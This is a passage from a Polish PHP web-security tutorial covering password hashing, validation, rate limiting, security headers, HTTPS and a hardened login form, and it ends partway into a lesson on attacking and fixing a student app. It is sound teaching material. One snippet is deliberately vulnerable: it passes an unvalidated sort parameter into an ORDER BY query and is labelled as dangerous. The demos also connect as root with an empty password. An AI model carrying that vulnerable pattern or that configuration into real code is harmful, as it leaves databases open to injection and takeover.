            $new_hash = password_hash($password, PASSWORD_DEFAULT);
            
            $stmt_update = $db-&gt;prepare("UPDATE users SET password = ? WHERE id = ?");
            $stmt_update-&gt;bind_param("si", $new_hash, $user&#91;'id']);
            $stmt_update-&gt;execute();
            $stmt_update-&gt;close();
        }
        
        echo "Zalogowano pomyślnie!";
    } else {
        echo "Nieprawidłowy login lub hasło";
    }
}
?&gt;</code></pre>



<h3 class="wp-block-heading">Zasady bezpiecznych haseł:</h3>



<ul class="wp-block-list">
<li>Używaj&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">password_hash()</code>&nbsp;z&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">PASSWORD_DEFAULT</code></li>



<li>NIGDY nie używaj MD5 ani SHA1 do haseł!</li>



<li>Wymagaj min. 8 znaków&nbsp;(lepiej 12+)</li>



<li>Sprawdzaj siłę hasła&nbsp;(wielkie/małe litery, cyfry, znaki specjalne)</li>



<li>Nie przechowuj podpowiedzi do hasła</li>
</ul>



<h2 class="wp-block-heading">6. Walidacja i sanityzacja danych</h2>



<h3 class="wp-block-heading">Walidacja &#8211; czy dane są poprawne?</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
$email = trim($_POST&#91;'email'] ?? '');
$age = (int)($_POST&#91;'age'] ?? 0);
$url = trim($_POST&#91;'url'] ?? '');

// Walidacja email
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
    $errors&#91;] = "Nieprawidłowy format email";
}

// Walidacja wieku
if ($age &lt; 18 || $age &gt; 120) {
    $errors&#91;] = "Wiek musi być między 18 a 120";
}

// Walidacja URL
if (!filter_var($url, FILTER_VALIDATE_URL)) {
    $errors&#91;] = "Nieprawidłowy format URL";
}

// Walidacja wyrażeniem regularnym
$username = trim($_POST&#91;'username'] ?? '');
if (!preg_match('/^&#91;a-zA-Z0-9_]{3,20}$/', $username)) {
    $errors&#91;] = "Username: 3-20 znaków, tylko litery, cyfry i podkreślnik";
}
?&gt;</code></pre>



<h3 class="wp-block-heading">Sanityzacja &#8211; oczyszczanie danych</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
$text = $_POST&#91;'text'];

// Usuń białe znaki
$username = trim($_POST&#91;'username']);

// Sanityzacja email
$email = filter_var($_POST&#91;'email'], FILTER_SANITIZE_EMAIL);

// Sanityzacja URL
$url = filter_var($_POST&#91;'url'], FILTER_SANITIZE_URL);

// Sanityzacja liczby
$age = filter_var($_POST&#91;'age'], FILTER_SANITIZE_NUMBER_INT);

// Rzutowanie typu
$id = (int)$_GET&#91;'id'];
$price = (float)$_POST&#91;'price'];
$is_active = (bool)$_POST&#91;'active'];
?></code></pre>



<h3 class="wp-block-heading">Whitelist vs Blacklist</h3>



<p class="wp-block-paragraph"><strong>Blacklist (ZŁE):</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Próba blokowania złych wartości - NIGDY nie złapiesz wszystkich!
$sort = $_GET&#91;'sort'];
if ($sort !== 'DROP' &amp;&amp; $sort !== 'DELETE' &amp;&amp; $sort !== 'UPDATE') {
    $query = "SELECT * FROM users ORDER BY $sort"; // NADAL NIEBEZPIECZNE!
}
?&gt;</code></pre>



<p class="wp-block-paragraph"><strong>Whitelist (DOBRE):</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Lista dozwolonych wartości
$allowed_sort = &#91;'username', 'email', 'created_at', 'level'];
$sort = $_GET&#91;'sort'] ?? 'username';

if (in_array($sort, $allowed_sort)) {
    $query = "SELECT * FROM users ORDER BY $sort"; // BEZPIECZNE
} else {
    $sort = 'username'; // Domyślna wartość
    $query = "SELECT * FROM users ORDER BY $sort";
}
?&gt;</code></pre>



<h2 class="wp-block-heading">7. Rate Limiting &#8211; Ograniczanie prób logowania</h2>



<p class="wp-block-paragraph">Bez rate limiting haker może próbować tysięcy haseł w sekundę (brute force attack).</p>



<h3 class="wp-block-heading">Implementacja prostego rate limitera</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start();

function checkRateLimit($max_attempts = 5, $timeout = 300) {
    
    // Inicjalizacja countera
    if (!isset($_SESSION&#91;'login_attempts'])) {
        $_SESSION&#91;'login_attempts'] = 0;
        $_SESSION&#91;'first_attempt_time'] = time();
    }
    
    // Sprawdź czy timeout minął
    if (time() - $_SESSION&#91;'first_attempt_time'] &gt; $timeout) {
        // Reset po timeout
        $_SESSION&#91;'login_attempts'] = 0;
        $_SESSION&#91;'first_attempt_time'] = time();
        unset($_SESSION&#91;'blocked_until']);
    }
    
    // Sprawdź czy zablokowany
    if (isset($_SESSION&#91;'blocked_until']) &amp;&amp; time() &lt; $_SESSION&#91;'blocked_until']) {
        $remaining = $_SESSION&#91;'blocked_until'] - time();
        $minutes = ceil($remaining / 60);
        return &#91;
            'allowed' =&gt; false,
            'message' =&gt; "Za dużo prób logowania. Spróbuj ponownie za {$minutes} minut."
        ];
    }
    
    // Sprawdź liczbę prób
    if ($_SESSION&#91;'login_attempts'] &gt;= $max_attempts) {
        // Zablokuj na 5 minut
        $_SESSION&#91;'blocked_until'] = time() + $timeout;
        return &#91;
            'allowed' =&gt; false,
            'message' =&gt; "Za dużo prób logowania. Zablokowano na 5 minut."
        ];
    }
    
    return &#91;'allowed' =&gt; true];
}

function incrementLoginAttempts() {
    $_SESSION&#91;'login_attempts']++;
}

function resetLoginAttempts() {
    $_SESSION&#91;'login_attempts'] = 0;
    unset($_SESSION&#91;'blocked_until']);
    unset($_SESSION&#91;'first_attempt_time']);
}

mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');
$db-&gt;set_charset('utf8mb4');

$errors = &#91;];

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    
    // Sprawdź rate limit
    $rate_limit = checkRateLimit();
    
    if (!$rate_limit&#91;'allowed']) {
        $errors&#91;] = $rate_limit&#91;'message'];
    } else {
        
        $username = trim($_POST&#91;'username'] ?? '');
        $password = $_POST&#91;'password'] ?? '';
        
        if (!empty($username) &amp;&amp; !empty($password)) {
            
            $stmt = $db-&gt;prepare("SELECT id, username, password FROM users WHERE username = ?");
            $stmt-&gt;bind_param("s", $username);
            $stmt-&gt;execute();
            $wynik = $stmt-&gt;get_result();
            $user = $wynik-&gt;fetch_assoc();
            $stmt-&gt;close();
            
            if ($user &amp;&amp; password_verify($password, $user&#91;'password'])) {
                
                // Sukces - reset countera
                resetLoginAttempts();
                
                $_SESSION&#91;'user_id'] = $user&#91;'id'];
                $_SESSION&#91;'username'] = $user&#91;'username'];
                $_SESSION&#91;'logged_in'] = true;
                
                $db-&gt;close();
                
                header("Location: panel.php");
                exit;
                
            } else {
                // Niepowodzenie - zwiększ counter
                incrementLoginAttempts();
                $errors&#91;] = "Nieprawidłowy login lub hasło";
            }
        }
    }
}

$db-&gt;close();

// Sprawdź ile pozostało prób
$attempts_left = 5 - ($_SESSION&#91;'login_attempts'] ?? 0);
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Logowanie z Rate Limiting&lt;/title&gt;
    &lt;style&gt;
        body {
            font-family: Arial, sans-serif;
            max-width: 400px;
            margin: 50px auto;
            padding: 20px;
        }
        .form-group {
            margin-bottom: 15px;
        }
        input {
            width: 100%;
            padding: 10px;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        button {
            width: 100%;
            padding: 10px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
        .error {
            background: #f8d7da;
            color: #721c24;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
        }
        .warning {
            background: #fff3cd;
            color: #856404;
            padding: 10px;
            border-radius: 5px;
            margin-bottom: 20px;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;h1&gt;Logowanie&lt;/h1&gt;

&lt;?php if (!empty($errors)): ?&gt;
    &lt;div class="error"&gt;
        &lt;?php foreach ($errors as $error): ?&gt;
            &lt;p&gt;&lt;?= htmlspecialchars($error) ?&gt;&lt;/p&gt;
        &lt;?php endforeach; ?&gt;
    &lt;/div&gt;
&lt;?php endif; ?&gt;

&lt;?php if ($attempts_left &gt; 0 &amp;&amp; $attempts_left &lt; 5): ?&gt;
    &lt;div class="warning"&gt;
        Pozostało prób: &lt;?= $attempts_left ?&gt;
    &lt;/div&gt;
&lt;?php endif; ?&gt;

&lt;form method="POST"&gt;
    &lt;div class="form-group"&gt;
        &lt;input type="text" name="username" placeholder="Username" required&gt;
    &lt;/div&gt;
    &lt;div class="form-group"&gt;
        &lt;input type="password" name="password" placeholder="Hasło" required&gt;
    &lt;/div&gt;
    &lt;button type="submit"&gt;Zaloguj&lt;/button&gt;
&lt;/form&gt;

&lt;/body&gt;
&lt;/html&gt;</code></pre>



<h2 class="wp-block-heading">8. Security Headers &#8211; Nagłówki bezpieczeństwa</h2>



<h3 class="wp-block-heading">Content Security Policy (CSP)</h3>



<p class="wp-block-paragraph">Zapobiega XSS poprzez kontrolowanie źródeł zasobów (skrypty, style, obrazy).</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Podstawowy CSP - tylko własne źródła
header("Content-Security-Policy: default-src 'self'");

// Bardziej szczegółowy
header("Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self' https://fonts.gstatic.com");
?&gt;</code></pre>



<h3 class="wp-block-heading">X-Frame-Options</h3>



<p class="wp-block-paragraph">Zapobiega clickjacking (umieszczaniu strony w iframe).</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Zabroń umieszczania w iframe
header("X-Frame-Options: DENY");

// Lub tylko w tej samej domenie
header("X-Frame-Options: SAMEORIGIN");
?&gt;</code></pre>



<h3 class="wp-block-heading">X-Content-Type-Options</h3>



<p class="wp-block-paragraph">Zapobiega MIME sniffing.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
header("X-Content-Type-Options: nosniff");
?&gt;</code></pre>



<h3 class="wp-block-heading">Strict-Transport-Security (HSTS)</h3>



<p class="wp-block-paragraph">Wymusza HTTPS.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Wymuszaj HTTPS przez rok
header("Strict-Transport-Security: max-age=31536000; includeSubDomains");
?&gt;</code></pre>



<h3 class="wp-block-heading">X-XSS-Protection &#8211; PRZESTARZAŁE</h3>



<p class="wp-block-paragraph">Zamiast tego nagłówka należy stosować politykę <strong>Content Security Policy (CSP)</strong> oraz poprawne kodowanie danych wyjściowych (output encoding).</p>



<p class="wp-block-paragraph">Jak to się ustawiało?</p>



<p class="wp-block-paragraph">Włączało wbudowaną ochronę przed XSS w przeglądarce.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
header("X-XSS-Protection: 1; mode=block");
?&gt;</code></pre>



<h3 class="wp-block-heading">Referrer-Policy</h3>



<p class="wp-block-paragraph">Kontroluje jak dużo informacji przekazywać w nagłówku Referer.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
header("Referrer-Policy: strict-origin-when-cross-origin");
?&gt;</code></pre>



<h3 class="wp-block-heading">Permissions-Policy</h3>



<p class="wp-block-paragraph">Kontroluje dostęp do API przeglądarki.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
header("Permissions-Policy: geolocation=(), microphone=(), camera=()");
?&gt;</code></pre>



<h3 class="wp-block-heading">Wszystkie nagłówki razem</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
function setSecurityHeaders() {
    // CSP
    header("Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;");
    
    // Clickjacking
    header("X-Frame-Options: SAMEORIGIN");
    
    // MIME sniffing
    header("X-Content-Type-Options: nosniff");
    
    // XSS Protection
    header("X-XSS-Protection: 1; mode=block");
    
    // HTTPS (tylko w produkcji!)
    // header("Strict-Transport-Security: max-age=31536000; includeSubDomains");
    
    // Referrer
    header("Referrer-Policy: strict-origin-when-cross-origin");
    
    // Permissions
    header("Permissions-Policy: geolocation=(), microphone=(), camera=()");
}

// Wywołaj na początku każdego skryptu
setSecurityHeaders();
?&gt;</code></pre>



<h2 class="wp-block-heading">9. HTTPS i bezpieczne przesyłanie danych</h2>



<p class="wp-block-paragraph">Bez HTTPS:</p>



<ul class="wp-block-list">
<li>Hasła przesyłane w plain text</li>



<li>Dane mogą być podsłuchiwane (Man-in-the-Middle attack)</li>



<li>Dane mogą być modyfikowane w tranzycie</li>
</ul>



<h3 class="wp-block-heading">Wymuszanie HTTPS w PHP</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Sprawdź czy połączenie jest przez HTTPS
if (!isset($_SERVER&#91;'HTTPS']) || $_SERVER&#91;'HTTPS'] !== 'on') {
    // Przekieruj na HTTPS
    $redirect_url = "https://" . $_SERVER&#91;'HTTP_HOST'] . $_SERVER&#91;'REQUEST_URI'];
    header("Location: $redirect_url", true, 301);
    exit;
}
?&gt;</code></pre>



<h3 class="wp-block-heading">Wymuszanie HTTPS w .htaccess</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;"># Przekieruj wszystko na HTTPS
RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} &#91;L,R=301]</code></pre>



<h2 class="wp-block-heading">10. Kompleksowy przykład &#8211; Bezpieczny system logowania</h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start();

// Security headers
header("Content-Security-Policy: default-src 'self'");
header("X-Frame-Options: SAMEORIGIN");
header("X-Content-Type-Options: nosniff");
header("X-XSS-Protection: 1; mode=block");

// Wymuszanie HTTPS (odkomentuj w produkcji)
// if (!isset($_SERVER&#91;'HTTPS']) || $_SERVER&#91;'HTTPS'] !== 'on') {
//     header("Location: https://" . $_SERVER&#91;'HTTP_HOST'] . $_SERVER&#91;'REQUEST_URI']);
//     exit;
// }

// Konfiguracja sesji
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure', 0); // Zmień na 1 w produkcji z HTTPS
ini_set('session.cookie_samesite', 'Strict');

// CSRF Token
function generateCSRFToken() {
    if (empty($_SESSION&#91;'csrf_token'])) {
        $_SESSION&#91;'csrf_token'] = bin2hex(random_bytes(32));
    }
    return $_SESSION&#91;'csrf_token'];
}

function verifyCSRFToken($token) {
    return isset($_SESSION&#91;'csrf_token']) &amp;&amp; hash_equals($_SESSION&#91;'csrf_token'], $token);
}

// Rate Limiting
function checkRateLimit() {
    if (!isset($_SESSION&#91;'login_attempts'])) {
        $_SESSION&#91;'login_attempts'] = 0;
        $_SESSION&#91;'first_attempt_time'] = time();
    }
    
    if (time() - $_SESSION&#91;'first_attempt_time'] &gt; 300) {
        $_SESSION&#91;'login_attempts'] = 0;
        $_SESSION&#91;'first_attempt_time'] = time();
        unset($_SESSION&#91;'blocked_until']);
    }
    
    if (isset($_SESSION&#91;'blocked_until']) &amp;&amp; time() &lt; $_SESSION&#91;'blocked_until']) {
        return &#91;'allowed' =&gt; false, 'message' =&gt; 'Za dużo prób. Zablokowano na 5 minut.'];
    }
    
    if ($_SESSION&#91;'login_attempts'] &gt;= 5) {
        $_SESSION&#91;'blocked_until'] = time() + 300;
        return &#91;'allowed' =&gt; false, 'message' =&gt; 'Za dużo prób. Zablokowano na 5 minut.'];
    }
    
    return &#91;'allowed' =&gt; true];
}

mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db-&gt;connect_error) {
    error_log("Connection error: " . $db-&gt;connect_error);
    die('Błąd połączenia z bazą danych');
}

$db-&gt;set_charset('utf8mb4');

$errors = &#91;];

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    
    // Sprawdź CSRF token
    if (!verifyCSRFToken($_POST&#91;'csrf_token'] ?? '')) {
        die('Nieprawidłowy token CSRF');
    }
    
    // Sprawdź rate limit
    $rate_limit = checkRateLimit();
    if (!$rate_limit&#91;'allowed']) {
        $errors&#91;] = $rate_limit&#91;'message'];
    } else {
        
        // Walidacja danych
        $username = trim($_POST&#91;'username'] ?? '');
        $password = $_POST&#91;'password'] ?? '';
        
        if (empty($username)) {
            $errors&#91;] = "Username jest wymagany";
        }
        
        if (empty($password)) {
            $errors&#91;] = "Hasło jest wymagane";
        }
        
        if (empty($errors)) {
            
            // Prepared statement - ochrona przed SQL Injection
            $stmt = $db-&gt;prepare("SELECT id, username, password FROM users WHERE username = ?");
            $stmt-&gt;bind_param("s", $username);
            $stmt-&gt;execute();
            $wynik = $stmt-&gt;get_result();
            $user = $wynik-&gt;fetch_assoc();
            $stmt-&gt;close();
            
            // Password verification
            if ($user &amp;&amp; password_verify($password, $user&#91;'password'])) {
                
                // Sukces - reset rate limiter
                $_SESSION&#91;'login_attempts'] = 0;
                unset($_SESSION&#91;'blocked_until']);
                
                // Regeneruj ID sesji - ochrona przed Session Fixation
                session_regenerate_id(true);
                
                // Usuń stary CSRF token
                unset($_SESSION&#91;'csrf_token']);
                
                // Zapisz dane użytkownika
                $_SESSION&#91;'user_id'] = $user&#91;'id'];
                $_SESSION&#91;'username'] = $user&#91;'username'];
                $_SESSION&#91;'logged_in'] = true;
                $_SESSION&#91;'login_time'] = time();
                
                // Fingerprint sesji - ochrona przed Session Hijacking
                $_SESSION&#91;'user_ip'] = $_SERVER&#91;'REMOTE_ADDR'];
                $_SESSION&#91;'user_agent'] = $_SERVER&#91;'HTTP_USER_AGENT'];
                
                $db-&gt;close();
                
                header("Location: panel.php");
                exit;
                
            } else {
                // Niepowodzenie - zwiększ counter
                $_SESSION&#91;'login_attempts']++;
                $errors&#91;] = "Nieprawidłowy username lub hasło";
            }
        }
    }
}

$db-&gt;close();

// Generuj token dla formularza
$csrf_token = generateCSRFToken();
$attempts_left = 5 - ($_SESSION&#91;'login_attempts'] ?? 0);
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;
    &lt;title&gt;Bezpieczne logowanie&lt;/title&gt;
    &lt;style&gt;
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: Arial, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }
        .login-container {
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 10px 25px rgba(0,0,0,0.2);
            max-width: 400px;
            width: 100%;
        }
        h1 {
            text-align: center;
            color: #333;
            margin-bottom: 30px;
        }
        .form-group {
            margin-bottom: 20px;
        }
        label {
            display: block;
            margin-bottom: 5px;
            color: #555;
            font-weight: 500;
        }
        input {
            width: 100%;
            padding: 12px;
            border: 1px solid #ddd;
            border-radius: 5px;
            font-size: 14px;
        }
        input:focus {
            outline: none;
            border-color: #667eea;
        }
        button {
            width: 100%;
            padding: 12px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 5px;
            font-size: 16px;
            font-weight: bold;
            cursor: pointer;
        }
        button:hover {
            background: #764ba2;
        }
        .error {
            background: #f8d7da;
            color: #721c24;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #f5c6cb;
        }
        .warning {
            background: #fff3cd;
            color: #856404;
            padding: 10px;
            border-radius: 5px;
            margin-bottom: 20px;
            text-align: center;
        }
        .security-info {
            background: #e7f3ff;
            color: #0c5460;
            padding: 15px;
            border-radius: 5px;
            margin-top: 20px;
            font-size: 12px;
        }
        .security-info h3 {
            margin-bottom: 10px;
        }
        .security-info ul {
            margin-left: 20px;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;div class="login-container"&gt;
    &lt;h1&gt;Bezpieczne logowanie&lt;/h1&gt;
    
    &lt;?php if (!empty($errors)): ?&gt;
        &lt;div class="error"&gt;
            &lt;?php foreach ($errors as $error): ?&gt;
                &lt;p&gt;&lt;?= htmlspecialchars($error) ?&gt;&lt;/p&gt;
            &lt;?php endforeach; ?&gt;
        &lt;/div&gt;
    &lt;?php endif; ?&gt;
    
    &lt;?php if ($attempts_left &gt; 0 &amp;&amp; $attempts_left &lt; 5): ?&gt;
        &lt;div class="warning"&gt;
            Pozostało prób: &lt;?= $attempts_left ?&gt;
        &lt;/div&gt;
    &lt;?php endif; ?&gt;
    
    &lt;form method="POST"&gt;
        &lt;input type="hidden" name="csrf_token" value="&lt;?= htmlspecialchars($csrf_token) ?&gt;"&gt;
        
        &lt;div class="form-group"&gt;
            &lt;label&gt;Username:&lt;/label&gt;
            &lt;input type="text" 
                   name="username" 
                   value="&lt;?= htmlspecialchars($_POST&#91;'username'] ?? '') ?&gt;"
                   required&gt;
        &lt;/div&gt;
        
        &lt;div class="form-group"&gt;
            &lt;label&gt;Hasło:&lt;/label&gt;
            &lt;input type="password" name="password" required&gt;
        &lt;/div&gt;
        
        &lt;button type="submit"&gt;Zaloguj się&lt;/button&gt;
    &lt;/form&gt;
    
    &lt;div class="security-info"&gt;
        &lt;h3&gt;Zabezpieczenia:&lt;/h3&gt;
        &lt;ul&gt;
            &lt;li&gt;CSRF Protection&lt;/li&gt;
            &lt;li&gt;Rate Limiting (5 prób / 5 min)&lt;/li&gt;
            &lt;li&gt;Password Hashing (bcrypt)&lt;/li&gt;
            &lt;li&gt;Prepared Statements&lt;/li&gt;
            &lt;li&gt;XSS Protection&lt;/li&gt;
            &lt;li&gt;Session Security&lt;/li&gt;
            &lt;li&gt;Security Headers&lt;/li&gt;
        &lt;/ul&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;/body&gt;
&lt;/html&gt;</code></pre>



<h2 class="wp-block-heading">Najważniejsze zasady</h2>



<ul class="wp-block-list">
<li>NIE UFAJ DANOM OD UŻYTKOWNIKA&nbsp;&#8211; ZAWSZE waliduj i sanityzuj</li>



<li>Prepared Statements&nbsp;&#8211; jedyna skuteczna ochrona przed SQL Injection</li>



<li>htmlspecialchars()&nbsp;&#8211; ZAWSZE przy wyświetlaniu danych użytkownika</li>



<li>password_hash()&nbsp;&#8211; NIGDY plain text haseł</li>



<li>Tokeny CSRF&nbsp;&#8211; dla wszystkich formularzy zmieniających dane</li>



<li>Security Headers&nbsp;&#8211; pierwsza linia obrony</li>



<li>HTTPS&nbsp;&#8211; w produkcji ZAWSZE</li>



<li>Rate Limiting&nbsp;&#8211; ochrona przed brute force</li>



<li>Session Security&nbsp;&#8211; regeneruj ID, sprawdzaj fingerprint</li>



<li>Keep it simple&nbsp;&#8211; prostszy kod = mniej błędów</li>
</ul>



<h1 class="wp-block-heading">TaskQuest 2.2 — konta z hasłem i obrona przed atakami</h1>



<p class="wp-block-paragraph">Po Lekcji 21 TaskQuest ma zadania w bazie, XP, serię dni i avatary. Działa, ale jest bardzo łatwy do oszukania. Każdy, kto zna login <code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama_2026</code>, wchodzi na konto Kamy bez hasła. Tytuł zadania może być kodem, który wykona się w przeglądarce. Obca strona internetowa może „kliknąć” za gracza przycisk „Usuń”.</p>



<p class="wp-block-paragraph">Dziś wejdziesz w rolę atakującego i spróbujesz przełamać własną aplikację. Każdy udany atak od razu naprawisz. Na koniec TaskQuest dostanie prawdziwe konta: rejestrację i logowanie z hasłem.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Lekcja 20 jest w tym kursie pomijana. Pracujesz na projekcie w stanie po Lekcji 21.</p>
</blockquote>



<h3 class="wp-block-heading">Cel lekcji</h3>



<p class="wp-block-paragraph">Nauczyć się:</p>



<ul class="wp-block-list">
<li>rozpoznawać <strong>SQL injection</strong> i sprawdzać, czy aplikacja jest na nie odporna,</li>



<li>rozpoznawać <strong>XSS</strong> i bronić się przed nim funkcją <code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code>,</li>



<li>rozpoznawać <strong>CSRF</strong> i bronić się przed nim tokenem w formularzu (<code class="prettyprint lang-sql" style="font-size: 0.85em;">random_bytes()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">bin2hex()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">hash_equals()</code>),</li>



<li>bezpiecznie przechowywać hasła (<code class="prettyprint lang-sql" style="font-size: 0.85em;">password_hash()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">password_verify()</code>),</li>



<li>blokować wykonywanie skryptów w katalogu z plikami od użytkowników (<code class="prettyprint lang-sql" style="font-size: 0.85em;">.htaccess</code>).</li>
</ul>



<p class="wp-block-paragraph">Efekt: nowa strona <code class="prettyprint lang-sql" style="font-size: 0.85em;">rejestracja.php</code>, logowanie z hasłem, każdy formularz POST z tokenem, wszystkie dane od użytkownika wyświetlane jako zwykły tekst, katalog avatarów zabezpieczony po stronie serwera.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Uwaga — co jest, a czego jeszcze nie ma:</strong></p>



<ul class="wp-block-list">
<li>Komunikaty błędów <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> nadal trafiają do użytkownika (np. nazwy kolumn). Ukryjemy je i zapiszemy do logu w Lekcji 23 (debugowanie i obsługa błędów).</li>



<li>Ograniczanie liczby prób logowania, nagłówki bezpieczeństwa, HTTPS i flagi ciasteczka sesji omawiamy tylko krótko w sekcji 3. Część z nich jest w zadaniach końcowych.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> nadal jest publiczna. To narzędzie dla programisty, na serwerze produkcyjnym się go nie zostawia.</li>
</ul>
</blockquote>



<h1 class="wp-block-heading">Rozgrzewka — 4 pytania z Lekcji 21</h1>



<ol class="wp-block-list">
<li>Dlaczego TaskQuest nie sprawdza formatu pliku po kluczu <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES['avatar']['type']</code>?</li>



<li>Avatar Kamy zapisujemy jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar_1_&lt;czas&gt;.png</code>, a nie pod nazwą, którą przysłała przeglądarka. Podaj jeden powód związany z bezpieczeństwem.</li>



<li>Co sprawdza <code class="prettyprint lang-sql" style="font-size: 0.85em;">getimagesize()</code>, a czego nie sprawdza?</li>



<li>Formularz avatara ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">accept=".jpg,.jpeg,.png,.webp"</code>. Czy to chroni aplikację? Dlaczego?</li>
</ol>



<h1 class="wp-block-heading">1. Wracamy do naszego TaskQuest</h1>



<h3 class="wp-block-heading">Co zostaje, co dochodzi, co zmieniamy</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Element</th><th>Po Lekcji 21</th><th>Po Lekcji 22</th></tr></thead><tbody><tr><td>zapytania SQL</td><td>wyłącznie prepared statements</td><td><strong>bez zmian</strong> — sprawdzimy, że to wystarcza</td></tr><tr><td>wyświetlanie danych</td><td>tekst od użytkownika trafia do HTML bez zmian</td><td><strong>zmiana:</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code> przy wyświetlaniu</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_sesji.php</code></td><td>4 funkcje</td><td><strong>dochodzą</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzTokenCsrf()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">sprawdzTokenCsrf()</code></td></tr><tr><td>formularze POST (7 rodzajów)</td><td>bez zabezpieczenia</td><td><strong>dochodzi</strong> ukryte pole <code class="prettyprint lang-sql" style="font-size: 0.85em;">token_csrf</code></td></tr><tr><td>strony przyjmujące POST</td><td>sprawdzają metodę</td><td><strong>dochodzi</strong> sprawdzenie tokenu</td></tr><tr><td>kolumna <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy.haslo_hash</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> u 